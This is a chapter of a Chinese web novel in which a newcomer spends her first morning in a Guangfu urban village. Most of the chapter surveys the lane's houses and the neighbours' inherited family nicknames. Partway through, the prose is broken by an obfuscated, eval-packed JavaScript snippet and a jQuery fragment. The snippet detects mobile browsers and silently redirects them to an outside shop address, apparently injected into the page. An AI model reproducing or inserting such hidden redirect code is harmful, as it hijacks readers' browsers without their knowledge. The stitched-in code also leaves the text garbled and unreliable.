张圆这一觉睡得沉，直到被一阵极富韵律的喧嚣唤醒：先是卷闸门升起的金属轰隆作为序章，接着是电动车启动的滴滴声、几声狗吠，以及某个被反复呼喊的昵称……在这片背景音之上，一个格外洪亮、带着不容置疑气势的男中音，正大声播报：
“‘本地猪’！你个单车阻住半边路，想表演杂技咩？”
声音穿透3号楼的院墙，冲破105房的墙壁，直直撞进张圆的耳朵里。她拥着被子坐起，睡意被好奇稀释。晨光——如果隔壁握手楼亮起的灯光也算晨光的话——从窗帘边缘吝啬地渗入，在瓷砖上投下一线白白的光。
张圆披上外套走到阳台上的卫生间里洗漱。水龙头出水有些急，溅起的水花打湿了她的袖口。冰凉的触感让她彻底清醒。她看着镜中的自己——头发睡得有些乱，眼神里还有着昨天转战千里又打扫卫生的疲倦，但更多的是一种对陌生环境的新奇打量。
这就是她在广府的第一个早晨。
她轻轻拉开房门，张童童正蹲在门口检查煤气罐的阀门，闻声抬头，脸上绽开洞悉一切的笑：“醒啦？被吵到的吧？习惯就好，我们这儿，闹钟是多余的。”
张圆有些不好意思地点头。张童童站起身，拍拍手上的灰：“走，一起去吃早饭？细鬼妹，喔，你同学黄晓薇早上有事，中午会过来带你去见在物流园上班的阿强。”
“她让我先带你熟悉一下石陂几个大路口和几条横巷。新来的人经常在村里迷路——这里的居民楼长得都差不多，巷子弯弯绕绕像个迷宫。”
她边说边领着张圆往外走，“手机里的导航定位还只能定在石陂横五街路口，我们这里是石陂横五街南二巷，记住巷口的路牌，别搞错，不然你出去买个东西，回来能找半小时……”
两人没走几步就到了巷口的便利店。张童童先朝柜台后的老板爽朗地喊了声“大头东，早晨（早上好）。”算是帮张圆“认了人”，然后才回头：“你在导航上给‘陈记便利店’设个定位。导航只到大路口，地图上没有‘陈记便利店’，你先得新增一个备注，再标记出南二巷，这样晚上回来不容易迷路……”
---
巷口已经非常热闹，各种声响与人影交织成一张密集的网。卖菜的阿婆推着三轮车慢悠悠经过，车上的青菜还带着露水；穿着工装的年轻人匆匆忙忙，手里抓着还没吃完的包子；单车和电动车从几条巷子里冲了出来，急着汇入横街上的机车大军。
“肠粉要吃哪家？”张童童边问边在一间蒸汽腾腾的店门前停下，熟稔地朝里喊，“细头西！一份瘦肉肠，一碗皮蛋瘦肉粥，瘦肉粥打包。”
店里传来应声。张圆这才注意到，这家肠粉店的老板和巷口小卖部的老板长得很像，说他们不是兄弟都没人信。
“小卖部老板的弟弟？”张圆小声问。
“对喽！”张童童笑起来，“所以他是‘细头西’嘛。哥哥占了‘大头’的名号，弟弟就只能当‘细头’了——广府人给人取的外号都是家族式的。”
“哎呀～，你吃什么想好了没有？”
---
趁着两个女孩挑选早餐的间隙，我们暂且将目光从初来乍到的张圆身上移开——循着巷子里漫溢的烟火气还有那些外地人听起来新奇的称呼，花几分钟工夫，快速认认她即将暂住一个月的出租屋周边门牌。
巷子口——石陂横五街南二巷1号是小卖部。老板姓陈，但打他穿开裆裤起，就没人正经叫过他“陈生”或“阿陈”。大家都叫他“大头东”。原因简单直白到令人发笑——他小时候脑袋大，身子小，走在路上像颗移动的豆芽顶着个西瓜，这形象深深烙印在了街坊童年的记忆里。如今人到中年，身材发福，头身比正常了，可“大头东”的名号却像长在了身上，比他的营业执照还要深入人心。
紧接着的2号，房东一家则生动诠释了什么叫“家庭连锁外号”。男主人年轻时微胖，性格又有些憨厚，不知被哪个促狭的友仔起了个“猪头木”的雅号（“木”在粤语里也有呆愣、憨厚之意）。于是，他刚娶进门的老婆便顺理成章地被叫成“猪油糕”——既呼应了“猪”，又带着某种亲昵的调侃……他们的儿子，完美继承了他老爸的体型，又白又胖，于是外号无缝继承：“本地猪”（如果他老妈是外省人，按照这套命名逻辑，那就会是“湘猪”“蜀猪”“京都猪”……）。儿媳妇皮肤也白，便成了“白膘嫂”。到了孙辈，更是将食物的联想力发挥到极致：大孙子叫“猪仔包”，小孙子是“细仔包”，连小孙女都没能逃过，被唤作可爱的“猪女包”。一家人出门，外号也整整齐齐，响亮又和谐，一听就是血脉相连的一家人。
然后，便来到了张圆租房的3号。
这里的房东李琳（实际就是个兼职管理员），外号不止一个，每一个都像一枚小小的标签，贴在她不同的人生阶段。
最早是“执妹”（“执”在广府话里读“zha”，是“捡”的意思），她是被村里捡废品的陈婆在村口捡到的女婴。这个“执”字，就是她身世的起点，是她与这个世界建立联系的第一个动词。后来阿婆的儿子给她取名李琳，随了自己过世父亲的姓。
街坊们知道后便又升级出了“执宝琳”这个叫法——捡到宝了的李琳。阿婆的亲生儿女家境都不错，二十几年前开宝马的人物，看不惯自己老妈手里有钱还捡垃圾的习惯，每次回来总免不了吵架。孙辈们从小条件优渥，哪里受得了老家这种蟑螂老鼠不时出没的环境。阿婆便将满腔的疼爱都倾注在了这个捡来的孙女身上。“执宝琳”这称呼里，除了调侃，似乎也带着点街坊对这段特殊缘分、以及阿婆晚年终于获得慰藉的微妙认可。
但如今最常被挂在嘴边的，却是“越级琳”。
这个外号的由来，带着点广府宗族社会的微妙逻辑和市井生活特有的幽默感。
石陂村是典型的广府宗族村落，十家里有七家姓李。李琳要上学，得办户口，还得办正规收养手续。陈婆本想把她的户口落在自己哪个儿子的名下，这样李琳以后读书才能去城里的好学校。但阿婆的儿女或许出于某种现实的的顾虑，最终没能同意。几番周折，李琳的户口直接落在了陈婆本人名下。
这下可好，李琳从陈婆的“孙女”一下子在法律和户口意义上变成了“女儿”，凭空在村里长了一辈。许多看着她长大的老街坊，按年纪该是她叔伯婶母，按户口本却都成了她的平辈。而她的同学们，则统统比她矮了一辈——
于是，“越级琳”这个带着调侃和一点点无奈的外号应运而生，既点明她“越级”晋升辈分的事实，又巧妙避开了日常称谓的尴尬。连她户口本上的侄子侄女——也就是阿婆真正的孙辈——也都跟着嘻嘻哈哈地叫“越级琳”，仿佛这是一件极其自然的事。
至于细鬼妹家所在的4号，外号体系则走了“国际化”（误）路线。房东因为身材矮小精瘦，年轻时被损友灵光一闪叫了声“日本佬”（源自某些老式影视剧对日军形象的刻板印象），从此失去了自己的大名。结婚生仔之后外号再次完美继承并发扬光大：因为日本佬又叫日本鬼子，所以他的儿子出生就成了“鬼仔”，大女儿是“大鬼妹”，二女儿黄晓薇是“细鬼妹”，三女儿则叫“鬼囡”。一家子“妖魔鬼怪”，听起来很有戏剧效果。
在石陂村这样宗族聚居、邻里边界感淡薄的地方，村民的外号向来五花八门：直白的、含蓄的、天马行空的、明褒暗贬的，各有说法。
这些称呼如果换在其他地区，多半会让当下年轻人觉得冒犯不适，可在这儿，街坊邻里喊得既自然又响亮，反倒透着股独有的亲昵——那是被纳入“自己人”圈子的踏实感。这外号更像一把钥匙，能喊出你外号的人，数得出你祖上三代，晓得你从小到大的所有糗事，人与人之间的距离，也便在这一声花名里，轻易打破了现代所谓的社交距离。
接下来是巷尾的5号，住着卖猪肉的两公婆。男人因为杀猪手艺好（“汤猪”在粤语中有宰杀猪只之意），名字里又有个“亮”字，便得名“汤猪亮”。他的老婆，自然就是“汤猪婆”了。
后来广府规定私人不得杀猪，汤猪亮便转做拉猪肉的生意。每天凌晨，他赶去屠宰场运回猪肉，卸货、分割，再分送各家客户。天微亮时，巷子里最有生命力的响动，常来自他家——
汤猪亮养了一条威风凛凛的金毛犬阿黄，忙完大活，他就开始遛他的狗往返菜市场。那模样，倒有几分像旧时的更夫，或是现代片警带着警犬巡街。
石陂横五街南二巷6号则是一幅完全不同的景象。
那家人许多年前跟着逃港儿子去了香港，自此再没回来过。屋子常年空置，无人修缮，如今已半塌了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193546|197104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好在石陂村不在寸土寸金的广府核心市区，只是个远郊后花园城区里的小虾米，土地压力没那么恐怖，加上这家在村里还有亲叔伯兄弟（宗族社会里，这种血缘关系往往意味着对祖产的潜在主张权），村委会想收回这块老宅基地统一规划，总是绕不开“人头”和“票数”这些微妙的问题，于是这栋破屋就这么一直半死不活地杵在那里，墙头荒草在风里摇晃，成了巷子里吓孩子的鬼屋。
最后的7号和8号，是两栋由他人代管的出租屋。据街坊们茶余饭后八卦，7号的房东不是挂名房东的而属于是石陂村的村支书，人称“稳阵李”（“稳阵”在粤语里是稳妥、可靠的意思，但用在这里，总带着点只可意会的微妙）。
至于8号的房东，外号据说叫“呱呱叫”——源于小时候是抓青蛙的能手，他常年在国外做生意，房子托给亲戚打理。
好啦，咱们先把落在街坊身上的目光收一收，再抬高些——来好好看一看这条巷子的建筑格局。
整条巷子最惹眼的当属7号楼，九层高楼立在那儿，浅黄色瓷砖外墙在一片握手楼中鹤立鸡群。而最矮的是张圆住的3号，只有四层，外墙的白色马赛克老成旧黄色。它活像个没长开的小不点，被左右前后那些借着早年政策宽松、纷纷加盖到七层的邻楼“大家伙们”，严严实实地夹在了中间。
从高处往下望，3号的楼顶几乎被周遭楼宇的阴影盖得严丝合缝，成了巷子里一处阳光都懒得光顾的小凹地。不过这高低差在广府漫长又闷热的夏天里，倒成了实打实的好福利——两侧高楼投下的阴影，就像给它撑了把天然的大遮阳伞。可冬天就遭罪咯，广府的湿冷，那可是有名的魔法攻击。
---
现在，让我们把目光缓缓降下，重新落回初来乍到的张圆同学身上。
她和张童童正坐在肠粉店门口红色的塑料省凳上吃早餐。
肠粉爽滑、瘦肉鲜嫩、调制的酱油咸鲜醇厚，热乎乎地熨帖着胃。
张童童一边吃，一边继续充当解说员，用筷子虚虚一点巷口方向：“黄晓薇讲啦，你上班后把电动车借你骑。面试完你也莫担心，用手机导航就是。要是夜晩，跟着村里下班的车回来，石陂村在物流园上班的人蛮多的啰。再说，我们这一片的出租屋，住的都是正经上班的，凌晨回来都没得问题。”
张圆听着，不住点头道谢，心里琢磨着电动车和跟车的事，下意识地就往南二巷望去。也巧，正看见房东小姐姐李琳拎着垃圾袋从里面走出来……
“琳姐早上好！”张童童扬声打招呼，声音里带着熟稔的活泼。
李琳停下脚步，朝这边微微颔首，脸上仍是那副淡淡的、没什么波澜的表情。她的目光在张圆身上停留了一瞬，似乎认出她是昨天的新房客，脸上努力给出一丝笑容，算是打过招呼。然后她便继续朝着街边那个绿色大垃圾桶走去。
“琳姐话一直这么少吗？”张圆收回目光，忍不住问张童童。她心里还琢磨着李琳刚才那努力了一下却又很快收起的笑容，觉得那模样真有点像自己某个社恐同学。
“她啊，以前没这么闷。她在公司上班的时候，下班后经常和我们一起骂沙币老板。”张童童咽下最后一口肠粉，擦了擦嘴，“每个月至少能约出去A两次大餐。她人是真不爱凑热闹，心很好。我刚搬来的时候，路由器不会设，买二手小吃车，找村里租摊位都是她帮的忙。”
她没说的是，那时候租房子给李琳的老房东吴婆使唤李琳起来理所应当一样，网上发招租帖、介绍租客、应付网格员一直也是李琳在帮忙。
张童童这一回想，确实觉得李琳失业这几个月闷了宅了好多，“她没上班之后，现在帮忙管这3号楼，也是因为抹不开情面才答应的……”话到了这里，她忽然打住了。
想起一些村里的闲言碎语，八卦李琳死去的阿婆当年怎样在村口捡到她，以及李琳不住自己家出来租房和她那些算不上亲近的“亲人”……
她自觉失言，不愿意在背后深聊别人的私事，便适时地收住了话头。
“总之啊，琳姐那人就是外冷心热。”她总结般说道，语气轻快地把话题收了尾，随即利落地站起身。塑料凳子腿在水泥地上蹭出一声短促的轻响。“走吧，”她朝张圆笑道，将刚才那一丝微妙的停顿掩了过去，“抓紧时间，带你认认路去。”